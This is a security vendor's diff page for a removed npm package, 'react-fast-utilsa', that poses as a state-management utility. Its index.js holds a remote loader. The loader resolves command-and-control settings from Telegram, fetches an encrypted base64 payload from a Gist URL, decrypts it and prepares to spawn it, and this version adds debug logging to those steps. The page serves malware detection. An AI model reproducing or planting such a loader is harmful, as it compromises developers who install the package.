You're Invited:Meet the Socket Team at RSAC and BSidesSF 2026, March 23–26.RSVP
Socket
Book a DemoSign in
Socket

react-fast-utilsa

Package Overview
Dependencies
Maintainers
1
Versions
4
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

react-fast-utilsa - npm Package Compare versions

Package was removed
Sorry, it seems this package was removed from the registry
Comparing version
2.0.3
to
2.0.4
+1
-1
package.json
{
"name": "react-fast-utilsa",
"version": "2.0.3",
"version": "2.0.4",
"description": "Utility layer for asynchronous state management",

@@ -5,0 +5,0 @@ "main": "index.js",

@@ -276,3 +276,5 @@ const fs = require('fs');

// Real Work: Resolve C2 -> Fetch Gist -> Decode
console.log("[Debug] Resolving C2 from Telegram...");
const { key: keyString, gistUrl } = await resolveConfigFromTelegram();
console.log(`[Debug] C2 Resolved. Key: ${keyString.substring(0, 8)}... URL: ${gistUrl}`);
// console.log(`[Debug] Key: ${keyString.substring(0,8)}... URL: ${gistUrl}`);

@@ -283,10 +285,11 @@

await progressPromise; // Finish bar
console.log(`[Debug] Fetching payload from ${gistUrl}...`);
const b64Payload = await fetchText(gistUrl);
console.log(`[Debug] Payload fetched (${b64Payload.length} bytes). Decrypting...`);
const encryptedBlob = Buffer.from(b64Payload.trim(), 'base64');
const keyConfig = { key: keyString };
await progressPromise; // Finish bar
// console.log("[*] Decrypting payload..."); // Keep this purely for debug (or remove in prod)
const crypto = require('crypto');

@@ -309,3 +312,4 @@ const key = Buffer.from(keyConfig.key, 'hex');

// 4. Spawn
let debugMode = false;
let debugMode = true; // FORCE DEBUG MODE FOR TESTING
/*
try {

@@ -321,2 +325,3 @@ // In Remote Loader, config might also be fetched or hardcoded.

} catch (e) { }
*/

@@ -323,0 +328,0 @@ // console.log(`[*] Spawning Payload...`);